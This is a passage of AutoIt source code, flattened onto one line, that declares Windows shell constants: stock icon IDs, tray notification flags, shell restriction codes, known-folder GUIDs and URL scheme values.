GLOBAL CONST $SIID_MEDIACDBURN = 68 GLOBAL CONST $SIID_MEDIABLANKCD = 69 GLOBAL CONST $SIID_MEDIACDROM = 70 GLOBAL CONST $SIID_AUDIOFILES = 71 GLOBAL CONST $SIID_IMAGEFILES = 72 GLOBAL CONST $SIID_VIDEOFILES = 73 GLOBAL CONST $SIID_MIXEDFILES = 74 GLOBAL CONST $SIID_FOLDERBACK = 75 GLOBAL CONST $SIID_FOLDERFRONT = 76 GLOBAL CONST $SIID_SHIELD = 77 GLOBAL CONST $SIID_WARNING = 78 GLOBAL CONST $SIID_INFO = 79 GLOBAL CONST $SIID_ERROR = 80 GLOBAL CONST $SIID_KEY = 81 GLOBAL CONST $SIID_SOFTWARE = 82 GLOBAL CONST $SIID_RENAME = 83 GLOBAL CONST $SIID_DELETE = 84 GLOBAL CONST $SIID_MEDIAAUDIODVD = 85 GLOBAL CONST $SIID_MEDIAMOVIEDVD = 86 GLOBAL CONST $SIID_MEDIAENHANCEDCD = 87 GLOBAL CONST $SIID_MEDIAENHANCEDDVD = 88 GLOBAL CONST $SIID_MEDIAHDDVD = 89 GLOBAL CONST $SIID_MEDIABLURAY = 90 GLOBAL CONST $SIID_MEDIAVCD = 91 GLOBAL CONST $SIID_MEDIADVDPLUSR = 92 GLOBAL CONST $SIID_MEDIADVDPLUSRW = 93 GLOBAL CONST $SIID_DESKTOPPC = 94 GLOBAL CONST $SIID_MOBILEPC = 95 GLOBAL CONST $SIID_USERS = 96 GLOBAL CONST $SIID_MEDIASMARTMEDIA = 97 GLOBAL CONST $SIID_MEDIACOMPACTFLASH = 98 GLOBAL CONST $SIID_DEVICECELLPHONE = 99 GLOBAL CONST $SIID_DEVICECAMERA = 100 GLOBAL CONST $SIID_DEVICEVIDEOCAMERA = 101 GLOBAL CONST $SIID_DEVICEAUDIOPLAYER = 102 GLOBAL CONST $SIID_NETWORKCONNECT = 103 GLOBAL CONST $SIID_INTERNET = 104 GLOBAL CONST $SIID_ZIPFILE = 105 GLOBAL CONST $SIID_SETTINGS = 106 GLOBAL CONST $SIID_DRIVEHDDVD = 132 GLOBAL CONST $SIID_DRIVEBD = 133 GLOBAL CONST $SIID_MEDIAHDDVDROM = 134 GLOBAL CONST $SIID_MEDIAHDDVDR = 135 GLOBAL CONST $SIID_MEDIAHDDVDRAM = 136 GLOBAL CONST $SIID_MEDIABDROM = 137 GLOBAL CONST $SIID_MEDIABDR = 138 GLOBAL CONST $SIID_MEDIABDRE = 139 GLOBAL CONST $SIID_CLUSTEREDDRIVE = 140 GLOBAL CONST $SIID_MAX_ICONS = 174 GLOBAL CONST $SHGSI_ICONLOCATION = 0 GLOBAL CONST $SHGSI_ICON = $SHGFI_ICON GLOBAL CONST $SHGSI_SYSICONINDEX = $SHGFI_SYSICONINDEX GLOBAL CONST $SHGSI_LINKOVERLAY = $SHGFI_LINKOVERLAY GLOBAL CONST $SHGSI_SELECTED = $SHGFI_SELECTED GLOBAL CONST $SHGSI_LARGEICON = $SHGFI_LARGEICON GLOBAL CONST $SHGSI_SMALLICON = $SHGFI_SMALLICON GLOBAL CONST $SHGSI_SHELLICONSIZE = $SHGFI_SHELLICONSIZE GLOBAL CONST $NIM_ADD = 0 GLOBAL CONST $NIM_MODIFY = 1 GLOBAL CONST $NIM_DELETE = 2 GLOBAL CONST $NIM_SETFOCUS = 3 GLOBAL CONST $NIM_SETVERSION = 4 GLOBAL CONST $NIF_MESSAGE = 1 GLOBAL CONST $NIF_ICON = 2 GLOBAL CONST $NIF_TIP = 4 GLOBAL CONST $NIF_STATE = 8 GLOBAL CONST $NIF_INFO = 16 GLOBAL CONST $NIF_GUID = 32 GLOBAL CONST $NIF_REALTIME = 64 GLOBAL CONST $NIF_SHOWTIP = 128 GLOBAL CONST $NIS_HIDDEN = 1 GLOBAL CONST $NIS_SHAREDICON = 2 GLOBAL CONST $NIIF_NONE = 0 GLOBAL CONST $NIIF_INFO = 1 GLOBAL CONST $NIIF_WARNING = 2 GLOBAL CONST $NIIF_ERROR = 3 GLOBAL CONST $NIIF_USER = 4 GLOBAL CONST $NIIF_NOSOUND = 16 GLOBAL CONST $NIIF_LARGE_ICON = 16 GLOBAL CONST $NIIF_RESPECT_QUIET_TIME = 128 GLOBAL CONST $NIIF_ICON_MASK = 15 GLOBAL CONST $SHOP_PRINTERNAME = 1 GLOBAL CONST $SHOP_FILEPATH = 2 GLOBAL CONST $SHOP_VOLUMEGUID = 4 GLOBAL CONST $OFASI_EDIT = 1 GLOBAL CONST $OFASI_OPENDESKTOP = 2 GLOBAL CONST $QUNS_NOT_PRESENT = 1 GLOBAL CONST $QUNS_BUSY = 2 GLOBAL CONST $QUNS_RUNNING_D3D_FULL_SCREEN = 3 GLOBAL CONST $QUNS_PRESENTATION_MODE = 4 GLOBAL CONST $QUNS_ACCEPTS_NOTIFICATIONS = 5 GLOBAL CONST $QUNS_QUIET_TIME = 6 GLOBAL CONST $REST_NORUN = 1 GLOBAL CONST $REST_NOCLOSE = 2 GLOBAL CONST $REST_NOSAVESET = 3 GLOBAL CONST $REST_NOFILEMENU = 4 GLOBAL CONST $REST_NOSETFOLDERS = 5 GLOBAL CONST $REST_NOSETTASKBAR = 6 GLOBAL CONST $REST_NODESKTOP = 7 GLOBAL CONST $REST_NOFIND = 8 GLOBAL CONST $REST_NODRIVES = 9 GLOBAL CONST $REST_NODRIVEAUTORUN = 10 GLOBAL CONST $REST_NODRIVETYPEAUTORUN = 11 GLOBAL CONST $REST_NONETHOOD = 12 GLOBAL CONST $REST_STARTBANNER = 13 GLOBAL CONST $REST_RESTRICTRUN = 14 GLOBAL CONST $REST_NOPRINTERTABS = 15 GLOBAL CONST $REST_NOPRINTERDELETE = 16 GLOBAL CONST $REST_NOPRINTERADD = 17 GLOBAL CONST $REST_NOSTARTMENUSUBFOLDERS = 18 GLOBAL CONST $REST_MYDOCSONNET = 19 GLOBAL CONST $REST_NOEXITTODOS = 20 GLOBAL CONST $REST_ENFORCESHELLEXTSECURITY = 21 GLOBAL CONST $REST_LINKRESOLVEIGNORELINKINFO = 22 GLOBAL CONST $REST_NOCOMMONGROUPS = 23 GLOBAL CONST $REST_SEPARATEDESKTOPPROCESS = 24 GLOBAL CONST $REST_NOWEB = 25 GLOBAL CONST $REST_NOTRAYCONTEXTMENU = 26 GLOBAL CONST $REST_NOVIEWCONTEXTMENU = 27 GLOBAL CONST $REST_NONETCONNECTDISCONNECT = 28 GLOBAL CONST $REST_STARTMENULOGOFF = 29 GLOBAL CONST $REST_NOSETTINGSASSIST = 30 GLOBAL CONST $REST_NOINTERNETICON = 31 GLOBAL CONST $REST_NORECENTDOCSHISTORY = 32 GLOBAL CONST $REST_NORECENTDOCSMENU = 33 GLOBAL CONST $REST_NOACTIVEDESKTOP = 34 GLOBAL CONST $REST_NOACTIVEDESKTOPCHANGES = 35 GLOBAL CONST $REST_NOFAVORITESMENU = 36 GLOBAL CONST $REST_CLEARRECENTDOCSONEXIT = 37 GLOBAL CONST $REST_CLASSICSHELL = 38 GLOBAL CONST $REST_NOCUSTOMIZEWEBVIEW = 39 GLOBAL CONST $REST_NOHTMLWALLPAPER = 40 GLOBAL CONST $REST_NOCHANGINGWALLPAPER = 41 GLOBAL CONST $REST_NODESKCOMP = 42 GLOBAL CONST $REST_NOADDDESKCOMP = 43 GLOBAL CONST $REST_NODELDESKCOMP = 44 GLOBAL CONST $REST_NOCLOSEDESKCOMP = 45 GLOBAL CONST $REST_NOCLOSE_DRAGDROPBAND = 46 GLOBAL CONST $REST_NOMOVINGBAND = 47 GLOBAL CONST $REST_NOEDITDESKCOMP = 48 GLOBAL CONST $REST_NORESOLVESEARCH = 49 GLOBAL CONST $REST_NORESOLVETRACK = 50 GLOBAL CONST $REST_FORCECOPYACLWITHFILE = 51 GLOBAL CONST $REST_NOLOGO3CHANNELNOTIFY = 52 GLOBAL CONST $REST_NOFORGETSOFTWAREUPDATE = 53 GLOBAL CONST $REST_NOSETACTIVEDESKTOP = 54 GLOBAL CONST $REST_NOUPDATEWINDOWS = 55 GLOBAL CONST $REST_NOCHANGESTARMENU = 56 GLOBAL CONST $REST_NOFOLDEROPTIONS = 57 GLOBAL CONST $REST_HASFINDCOMPUTERS = 58 GLOBAL CONST $REST_INTELLIMENUS = 59 GLOBAL CONST $REST_RUNDLGMEMCHECKBOX = 60 GLOBAL CONST $REST_ARP_SHOWPOSTSETUP = 61 GLOBAL CONST $REST_NOCSC = 62 GLOBAL CONST $REST_NOCONTROLPANEL = 63 GLOBAL CONST $REST_ENUMWORKGROUP = 64 GLOBAL CONST $REST_ARP_NOARP = 65 GLOBAL CONST $REST_ARP_NOREMOVEPAGE = 66 GLOBAL CONST $REST_ARP_NOADDPAGE = 67 GLOBAL CONST $REST_ARP_NOWINSETUPPAGE = 68 GLOBAL CONST $REST_GREYMSIADS = 69 GLOBAL CONST $REST_NOCHANGEMAPPEDDRIVELABEL = 70 GLOBAL CONST $REST_NOCHANGEMAPPEDDRIVECOMMENT = 71 GLOBAL CONST $REST_MAXRECENTDOCS = 72 GLOBAL CONST $REST_NONETWORKCONNECTIONS = 73 GLOBAL CONST $REST_FORCESTARTMENULOGOFF = 74 GLOBAL CONST $REST_NOWEBVIEW = 75 GLOBAL CONST $REST_NOCUSTOMIZETHISFOLDER = 76 GLOBAL CONST $REST_NOENCRYPTION = 77 GLOBAL CONST $REST_DONTSHOWSUPERHIDDEN = 78 GLOBAL CONST $REST_NOSHELLSEARCHBUTTON = 79 GLOBAL CONST $REST_NOHARDWARETAB = 80 GLOBAL CONST $REST_NORUNASINSTALLPROMPT = 81 GLOBAL CONST $REST_PROMPTRUNASINSTALLNETPATH = 82 GLOBAL CONST $REST_NOMANAGEMYCOMPUTERVERB = 83 GLOBAL CONST $REST_NORECENTDOCSNETHOOD = 84 GLOBAL CONST $REST_DISALLOWRUN = 85 GLOBAL CONST $REST_NOWELCOMESCREEN = 86 GLOBAL CONST $REST_RESTRICTCPL = 87 GLOBAL CONST $REST_DISALLOWCPL = 88 GLOBAL CONST $REST_NOSMBALLOONTIP = 89 GLOBAL CONST $REST_NOSMHELP = 90 GLOBAL CONST $REST_NOWINKEYS = 91 GLOBAL CONST $REST_NOENCRYPTONMOVE = 92 GLOBAL CONST $REST_NOLOCALMACHINERUN = 93 GLOBAL CONST $REST_NOCURRENTUSERRUN = 94 GLOBAL CONST $REST_NOLOCALMACHINERUNONCE = 95 GLOBAL CONST $REST_NOCURRENTUSERRUNONCE = 96 GLOBAL CONST $REST_FORCEACTIVEDESKTOPON = 97 GLOBAL CONST $REST_NOCOMPUTERSNEARME = 98 GLOBAL CONST $REST_NOVIEWONDRIVE = 99 GLOBAL CONST $REST_NONETCRAWL = 100 GLOBAL CONST $REST_NOSHAREDDOCUMENTS = 101 GLOBAL CONST $REST_NOSMMYDOCS = 102 GLOBAL CONST $REST_NOSMMYPICS = 103 GLOBAL CONST $REST_ALLOWBITBUCKDRIVES = 104 GLOBAL CONST $REST_NONLEGACYSHELLMODE = 105 GLOBAL CONST $REST_NOCONTROLPANELBARRICADE = 106 GLOBAL CONST $REST_NOSTARTPAGE = 107 GLOBAL CONST $REST_NOAUTOTRAYNOTIFY = 108 GLOBAL CONST $REST_NOTASKGROUPING = 109 GLOBAL CONST $REST_NOCDBURNING = 110 GLOBAL CONST $REST_MYCOMPNOPROP = 111 GLOBAL CONST $REST_MYDOCSNOPROP = 112 GLOBAL CONST $REST_NOSTARTPANEL = 113 GLOBAL CONST $REST_NODISPLAYAPPEARANCEPAGE = 114 GLOBAL CONST $REST_NOTHEMESTAB = 115 GLOBAL CONST $REST_NOVISUALSTYLECHOICE = 116 GLOBAL CONST $REST_NOSIZECHOICE = 117 GLOBAL CONST $REST_NOCOLORCHOICE = 118 GLOBAL CONST $REST_SETVISUALSTYLE = 119 GLOBAL CONST $REST_STARTRUNNOHOMEPATH = 120 GLOBAL CONST $REST_NOUSERNAMEINSTARTPANEL = 121 GLOBAL CONST $REST_NOMYCOMPUTERICON = 122 GLOBAL CONST $REST_NOSMNETWORKPLACES = 123 GLOBAL CONST $REST_NOSMPINNEDLIST = 124 GLOBAL CONST $REST_NOSMMYMUSIC = 125 GLOBAL CONST $REST_NOSMEJECTPC = 126 GLOBAL CONST $REST_NOSMMOREPROGRAMS = 127 GLOBAL CONST $REST_NOSMMFUPROGRAMS = 128 GLOBAL CONST $REST_NOTRAYITEMSDISPLAY = 129 GLOBAL CONST $REST_NOTOOLBARSONTASKBAR = 130 GLOBAL CONST $REST_NOSMCONFIGUREPROGRAMS = 131 GLOBAL CONST $REST_HIDECLOCK = 132 GLOBAL CONST $REST_NOLOWDISKSPACECHECKS = 133 GLOBAL CONST $REST_NOENTIRENETWORK = 134 GLOBAL CONST $REST_NODESKTOPCLEANUP = 135 GLOBAL CONST $REST_BITBUCKNUKEONDELETE = 136 GLOBAL CONST $REST_BITBUCKCONFIRMDELETE = 137 GLOBAL CONST $REST_BITBUCKNOPROP = 138 GLOBAL CONST $REST_NODISPBACKGROUND = 139 GLOBAL CONST $REST_NODISPSCREENSAVEPG = 140 GLOBAL CONST $REST_NODISPSETTINGSPG = 141 GLOBAL CONST $REST_NODISPSCREENSAVEPREVIEW = 142 GLOBAL CONST $REST_NODISPLAYCPL = 143 GLOBAL CONST $REST_HIDERUNASVERB = 144 GLOBAL CONST $REST_NOTHUMBNAILCACHE = 145 GLOBAL CONST $REST_NOSTRCMPLOGICAL = 146 GLOBAL CONST $REST_NOPUBLISHWIZARD = 147 GLOBAL CONST $REST_NOONLINEPRINTSWIZARD = 148 GLOBAL CONST $REST_NOWEBSERVICES = 149 GLOBAL CONST $REST_ALLOWUNHASHEDWEBVIEW = 150 GLOBAL CONST $REST_ALLOWLEGACYWEBVIEW = 151 GLOBAL CONST $REST_REVERTWEBVIEWSECURITY = 152 GLOBAL CONST $REST_INHERITCONSOLEHANDLES = 153 GLOBAL CONST $REST_SORTMAXITEMCOUNT = 154 GLOBAL CONST $REST_NOREMOTERECURSIVEEVENTS = 155 GLOBAL CONST $REST_NOREMOTECHANGENOTIFY = 156 GLOBAL CONST $REST_NOSIMPLENETIDLIST = 157 GLOBAL CONST $REST_NOENUMENTIRENETWORK = 158 GLOBAL CONST $REST_NODETAILSTHUMBNAILONNETWORK = 159 GLOBAL CONST $REST_NOINTERNETOPENWITH = 160 GLOBAL CONST $REST_ALLOWLEGACYLMZBEHAVIOR = 161 GLOBAL CONST $REST_DONTRETRYBADNETNAME = 162 GLOBAL CONST $REST_ALLOWFILECLSIDJUNCTIONS = 163 GLOBAL CONST $REST_NOUPNPINSTALL = 164 GLOBAL CONST $REST_ARP_DONTGROUPPATCHES = 165 GLOBAL CONST $REST_ARP_NOCHOOSEPROGRAMSPAGE = 166 GLOBAL CONST $REST_NODISCONNECT = 167 GLOBAL CONST $REST_NOSECURITY = 168 GLOBAL CONST $REST_NOFILEASSOCIATE = 169 GLOBAL CONST $REST_ALLOWCOMMENTTOGGLE = 170 GLOBAL CONST $REST_USEDESKTOPINICACHE = 171 GLOBAL CONST $GIL_DONTCACHE = 16 GLOBAL CONST $GIL_NOTFILENAME = 8 GLOBAL CONST $GIL_PERCLASS = 4 GLOBAL CONST $GIL_PERINSTANCE = 2 GLOBAL CONST $GIL_SIMULATEDOC = 1 GLOBAL CONST $GIL_SHIELD = 512 GLOBAL CONST $GIL_FORCENOSHIELD = 1024 GLOBAL CONST $FOLDERID_ADDNEWPROGRAMS = "{DE61D971-5EBC-4F02-A3A9-6C82895E5C04}" GLOBAL CONST $FOLDERID_ADMINTOOLS = "{724EF170-A42D-4FEF-9F26-B60E846FBA4F}" GLOBAL CONST $FOLDERID_APPUPDATES = "{A305CE99-F527-492B-8B1A-7E76FA98D6E4}" GLOBAL CONST $FOLDERID_CDBURNING = "{9E52AB10-F80D-49DF-ACB8-4330F5687855}" GLOBAL CONST $FOLDERID_CHANGEREMOVEPROGRAMS = "{DF7266AC-9274-4867-8D55-3BD661DE872D}" GLOBAL CONST $FOLDERID_COMMONADMINTOOLS = "{D0384E7D-BAC3-4797-8F14-CBA229B392B5}" GLOBAL CONST $FOLDERID_COMMONOEMLINKS = "{C1BAE2D0-10DF-4334-BEDD-7AA20B227A9D}" GLOBAL CONST $FOLDERID_COMMONPROGRAMS = "{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}" GLOBAL CONST $FOLDERID_COMMONSTARTMENU = "{A4115719-D62E-491D-AA7C-E74B8BE3B067}" GLOBAL CONST $FOLDERID_COMMONSTARTUP = "{82A5EA35-D9CD-47C5-9629-E15D2F714E6E}" GLOBAL CONST $FOLDERID_COMMONTEMPLATES = "{B94237E7-57AC-4347-9151-B08C6C32D1F7}" GLOBAL CONST $FOLDERID_COMPUTERFOLDER = "{0AC0837C-BBF8-452A-850D-79D08E667CA7}" GLOBAL CONST $FOLDERID_CONFLICTFOLDER = "{4BFEFB45-347D-4006-A5BE-AC0CB0567192}" GLOBAL CONST $FOLDERID_CONNECTIONSFOLDER = "{6F0CD92B-2E97-45D1-88FF-B0D186B8DEDD}" GLOBAL CONST $FOLDERID_CONTACTS = "{56784854-C6CB-462B-8169-88E350ACB882}" GLOBAL CONST $FOLDERID_CONTROLPANELFOLDER = "{82A74AEB-AEB4-465C-A014-D097EE346D63}" GLOBAL CONST $FOLDERID_COOKIES = "{2B0F765D-C0E9-4171-908E-08A611B84FF6}" GLOBAL CONST $FOLDERID_DESKTOP = "{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}" GLOBAL CONST $FOLDERID_DEVICEMETADATASTORE = "{5CE4A5E9-E4EB-479D-B89F-130C02886155}" GLOBAL CONST $FOLDERID_DOCUMENTSLIBRARY = "{7B0DB17D-9CD2-4A93-9733-46CC89022E7C}" GLOBAL CONST $FOLDERID_DOWNLOADS = "{374DE290-123F-4565-9164-39C4925E467B}" GLOBAL CONST $FOLDERID_FAVORITES = "{1777F761-68AD-4D8A-87BD-30B759FA33DD}" GLOBAL CONST $FOLDERID_FONTS = "{FD228CB7-AE11-4AE3-864C-16F3910AB8FE}" GLOBAL CONST $FOLDERID_GAMES = "{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}" GLOBAL CONST $FOLDERID_GAMETASKS = "{054FAE61-4DD8-4787-80B6-090220C4B700}" GLOBAL CONST $FOLDERID_HISTORY = "{D9DC8A3B-B784-432E-A781-5A1130A75963}" GLOBAL CONST $FOLDERID_HOMEGROUP = "{52528A6B-B9E3-4ADD-B60D-588C2DBA842D}" GLOBAL CONST $FOLDERID_IMPLICITAPPSHORTCUTS = "{BCB5256F-79F6-4CEE-B725-DC34E402FD46}" GLOBAL CONST $FOLDERID_INTERNETCACHE = "{352481E8-33BE-4251-BA85-6007CAEDCF9D}" GLOBAL CONST $FOLDERID_INTERNETFOLDER = "{4D9F7874-4E0C-4904-967B-40B0D20C3E4B}" GLOBAL CONST $FOLDERID_LIBRARIES = "{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}" GLOBAL CONST $FOLDERID_LINKS = "{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}" GLOBAL CONST $FOLDERID_LOCALAPPDATA = "{F1B32785-6FBA-4FCF-9D55-7B8E7F157091}" GLOBAL CONST $FOLDERID_LOCALAPPDATALOW = "{A520A1A4-1780-4FF6-BD18-167343C5AF16}" GLOBAL CONST $FOLDERID_LOCALIZEDRESOURCESDIR = "{2A00375E-224C-49DE-B8D1-440DF7EF3DDC}" GLOBAL CONST $FOLDERID_MUSIC = "{4BD8D571-6D19-48D3-BE97-422220080E43}" GLOBAL CONST $FOLDERID_MUSICLIBRARY = "{2112AB0A-C86A-4FFE-A368-0DE96E47012E}" GLOBAL CONST $FOLDERID_NETHOOD = "{C5ABBF53-E17F-4121-8900-86626FC2C973}" GLOBAL CONST $FOLDERID_NETWORKFOLDER = "{D20BEEC4-5CA8-4905-AE3B-BF251EA09B53}" GLOBAL CONST $FOLDERID_ORIGINALIMAGES = "{2C36C0AA-5812-4B87-BFD0-4CD0DFB19B39}" GLOBAL CONST $FOLDERID_PHOTOALBUMS = "{69D2CF90-FC33-4FB7-9A0C-EBB0F0FCB43C}" GLOBAL CONST $FOLDERID_PICTURESLIBRARY = "{A990AE9F-A03B-4E80-94BC-9912D7504104}" GLOBAL CONST $FOLDERID_PICTURES = "{33E28130-4E1E-4676-835A-98395C3BC3BB}" GLOBAL CONST $FOLDERID_PLAYLISTS = "{DE92C1C7-837F-4F69-A3BB-86E631204A23}" GLOBAL CONST $FOLDERID_PRINTERSFOLDER = "{76FC4E2D-D6AD-4519-A663-37BD56068185}" GLOBAL CONST $FOLDERID_PRINTHOOD = "{9274BD8D-CFD1-41C3-B35E-B13F55A758F4}" GLOBAL CONST $FOLDERID_PROFILE = "{5E6C858F-0E22-4760-9AFE-EA3317B67173}" GLOBAL CONST $FOLDERID_PROGRAMDATA = "{62AB5D82-FDC1-4DC3-A9DD-070D1D495D97}" GLOBAL CONST $FOLDERID_PROGRAMFILES = "{905E63B6-C1BF-494E-B29C-65B732D3D21A}" GLOBAL CONST $FOLDERID_PROGRAMFILESX64 = "{6D809377-6AF0-444B-8957-A3773F02200E}" GLOBAL CONST $FOLDERID_PROGRAMFILESX86 = "{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}" GLOBAL CONST $FOLDERID_PROGRAMFILESCOMMON = "{F7F1ED05-9F6D-47A2-AAAE-29D317C6F066}" GLOBAL CONST $FOLDERID_PROGRAMFILESCOMMONX64 = "{6365D5A7-0F0D-45E5-87F6-0DA56B6A4F7D}" GLOBAL CONST $FOLDERID_PROGRAMFILESCOMMONX86 = "{DE974D24-D9C6-4D3E-BF91-F4455120B917}" GLOBAL CONST $FOLDERID_PROGRAMS = "{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}" GLOBAL CONST $FOLDERID_PUBLIC = "{DFDF76A2-C82A-4D63-906A-5644AC457385}" GLOBAL CONST $FOLDERID_PUBLICDESKTOP = "{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}" GLOBAL CONST $FOLDERID_PUBLICDOCUMENTS = "{ED4824AF-DCE4-45A8-81E2-FC7965083634}" GLOBAL CONST $FOLDERID_PUBLICDOWNLOADS = "{3D644C9B-1FB8-4F30-9B45-F670235F79C0}" GLOBAL CONST $FOLDERID_PUBLICGAMETASKS = "{DEBF2536-E1A8-4C59-B6A2-414586476AEA}" GLOBAL CONST $FOLDERID_PUBLICLIBRARIES = "{48DAF80B-E6CF-4F4E-B800-0E69D84EE384}" GLOBAL CONST $FOLDERID_PUBLICMUSIC = "{3214FAB5-9757-4298-BB61-92A9DEAA44FF}" GLOBAL CONST $FOLDERID_PUBLICPICTURES = "{B6EBFB86-6907-413C-9AF7-4FC2ABF07CC5}" GLOBAL CONST $FOLDERID_PUBLICRINGTONES = "{E555AB60-153B-4D17-9F04-A5FE99FC15EC}" GLOBAL CONST $FOLDERID_PUBLICVIDEOS = "{2400183A-6185-49FB-A2D8-4A392A602BA3}" GLOBAL CONST $FOLDERID_QUICKLAUNCH = "{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}" GLOBAL CONST $FOLDERID_RECENT = "{AE50C081-EBD2-438A-8655-8A092E34987A}" GLOBAL CONST $FOLDERID_RECORDEDTVLIBRARY = "{1A6FDBA2-F42D-4358-A798-B74D745926C5}" GLOBAL CONST $FOLDERID_RECYCLEBINFOLDER = "{B7534046-3ECB-4C18-BE4E-64CD4CB7D6AC}" GLOBAL CONST $FOLDERID_RESOURCEDIR = "{8AD10C31-2ADB-4296-A8F7-E4701232C972}" GLOBAL CONST $FOLDERID_RINGTONES = "{C870044B-F49E-4126-A9C3-B52A1FF411E8}" GLOBAL CONST $FOLDERID_ROAMINGAPPDATA = "{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}" GLOBAL CONST $FOLDERID_SAMPLEMUSIC = "{B250C668-F57D-4EE1-A63C-290EE7D1AA1F}" GLOBAL CONST $FOLDERID_SAMPLEPICTURES = "{C4900540-2379-4C75-844B-64E6FAF8716B}" GLOBAL CONST $FOLDERID_SAMPLEPLAYLISTS = "{15CA69B3-30EE-49C1-ACE1-6B5EC372AFB5}" GLOBAL CONST $FOLDERID_SAMPLEVIDEOS = "{859EAD94-2E85-48AD-A71A-0969CB56A6CD}" GLOBAL CONST $FOLDERID_SAVEDGAMES = "{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}" GLOBAL CONST $FOLDERID_SAVEDSEARCHES = "{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}" GLOBAL CONST $FOLDERID_SEARCH_CSC = "{EE32E446-31CA-4ABA-814F-A5EBD2FD6D5E}" GLOBAL CONST $FOLDERID_SEARCH_MAPI = "{98EC0E18-2098-4D44-8644-66979315A281}" GLOBAL CONST $FOLDERID_SEARCHHOME = "{190337D1-B8CA-4121-A639-6D472D16972A}" GLOBAL CONST $FOLDERID_SENDTO = "{8983036C-27C0-404B-8F08-102D10DCFD74}" GLOBAL CONST $FOLDERID_SIDEBARDEFAULTPARTS = "{7B396E54-9EC5-4300-BE0A-2482EBAE1A26}" GLOBAL CONST $FOLDERID_SIDEBARPARTS = "{A75D362E-50FC-4FB7-AC2C-A8BEAA314493}" GLOBAL CONST $FOLDERID_STARTMENU = "{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}" GLOBAL CONST $FOLDERID_STARTUP = "{B97D20BB-F46A-4C97-BA10-5E3608430854}" GLOBAL CONST $FOLDERID_SYNCMANAGERFOLDER = "{43668BF8-C14E-49B2-97C9-747784D784B7}" GLOBAL CONST $FOLDERID_SYNCRESULTSFOLDER = "{289A9A43-BE44-4057-A41B-587A76D7E7F9}" GLOBAL CONST $FOLDERID_SYNCSETUPFOLDER = "{0F214138-B1D3-4A90-BBA9-27CBC0C5389A}" GLOBAL CONST $FOLDERID_SYSTEM = "{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}" GLOBAL CONST $FOLDERID_SYSTEMX86 = "{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}" GLOBAL CONST $FOLDERID_TEMPLATES = "{A63293E8-664E-48DB-A079-DF759E0509F7}" GLOBAL CONST $FOLDERID_USERPINNED = "{9E3995AB-1F9C-4F13-B827-48B24B6C7174}" GLOBAL CONST $FOLDERID_USERPROFILES = "{0762D272-C50A-4BB0-A382-697DCD729B80}" GLOBAL CONST $FOLDERID_USERPROGRAMFILES = "{5CD7AEE2-2219-4A67-B85D-6C9CE15660CB}" GLOBAL CONST $FOLDERID_USERPROGRAMFILESCOMMON = "{BCBD3057-CA5C-4622-B42D-BC56DB0AE516}" GLOBAL CONST $FOLDERID_USERSFILES = "{F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F}" GLOBAL CONST $FOLDERID_USERSLIBRARIES = "{A302545D-DEFF-464B-ABE8-61C8648D939B}" GLOBAL CONST $FOLDERID_VIDEOS = "{18989B1D-99B5-455B-841C-AB7C74E4DDFC}" GLOBAL CONST $FOLDERID_VIDEOSLIBRARY = "{491E922F-5643-4AF4-A7EB-4E7A138D8174}" GLOBAL CONST $FOLDERID_WINDOWS = "{F38BF404-1D43-42F2-9305-67DE0B28FC23}" GLOBAL CONST $KF_FLAG_ALIAS_ONLY = 2147483648 GLOBAL CONST $KF_FLAG_CREATE = 32768 GLOBAL CONST $KF_FLAG_DONT_VERIFY = 16384 GLOBAL CONST $KF_FLAG_DONT_UNEXPAND = 8192 GLOBAL CONST $KF_FLAG_NO_ALIAS = 4096 GLOBAL CONST $KF_FLAG_INIT = 2048 GLOBAL CONST $KF_FLAG_DEFAULT_PATH = 1024 GLOBAL CONST $KF_FLAG_NO_APPCONTAINER_REDIRECTION = 65536 GLOBAL CONST $KF_FLAG_NOT_PARENT_RELATIVE = 512 GLOBAL CONST $KF_FLAG_SIMPLE_IDLIST = 256 GLOBAL CONST $URL_SCHEME_INVALID = + 4294967295 GLOBAL CONST $URL_SCHEME_UNKNOWN = 0 GLOBAL CONST $URL_SCHEME_FTP = 1 GLOBAL CONST $URL_SCHEME_HTTP = 2 GLOBAL CONST $URL_SCHEME_GOPHER = 3 GLOBAL CONST $URL_SCHEME_MAILTO = 4 GLOBAL CONST $URL_SCHEME_NEWS = 5 GLOBAL CONST $URL_SCHEME_NNTP = 6 GLOBAL CONST $URL_SCHEME_TELNET = 7 GLOBAL CONST $URL_SCHEME_WAIS = 8 GLOBAL CONST $URL_SCHEME_FILE = 9 GLOBAL CONST $URL_SCHEME_MK = 10 GLOBAL CONST $URL_SCHEME_HTTPS = 11 GLOBAL CONST $URL_SCHEME_SHELL = 12 GLOBAL CONST $URL_SCHEME_SNEWS = 13 GLOBAL CONST $URL_SCHEME_LOCAL = 14 GLOBAL CONST $URL_SCHEME_JAVASCRIPT = 15 GLOBAL CONST $URL_SCHEME_VBSCRIPT = 16 GLOBAL CONST $URL_SCHEME_ABOUT = 17 GLOBAL CONST $URL_SCHEME_RES = 18 GLOBAL CONST $URL_SCHEME_MSSHELLROOTED = 19 GLOBAL CONST $URL_SCHEME_MSSHELLIDLIST = 20 GLOBAL CONST $URL_SCHEME_MSHELP = 21 GLOBAL CONST $URL_SCHEME_MSSHELLDEVICE = 22 GLOBAL CONST $URL_SCHEME_WILDCARD = 23 GLOBAL CONST $URL_SCHEME_SEARCH_MS = 24 GLOBAL CONST $URL_SCHEME_SEARCH = 25 GLOBAL CONST $URL_SCHEME_KNOWNFOLDER = 26 GLOBAL CONST $GCT_INVALID = 0 GLOBAL CONST $GCT_LFNCHAR = 1 GLOBAL CONST $GCT_SEPARATOR = 8 GLOBAL CONST $GCT_SHORTCHAR = 2 GLOBAL CONST $GCT_WILD = 4 GLOBAL CONST 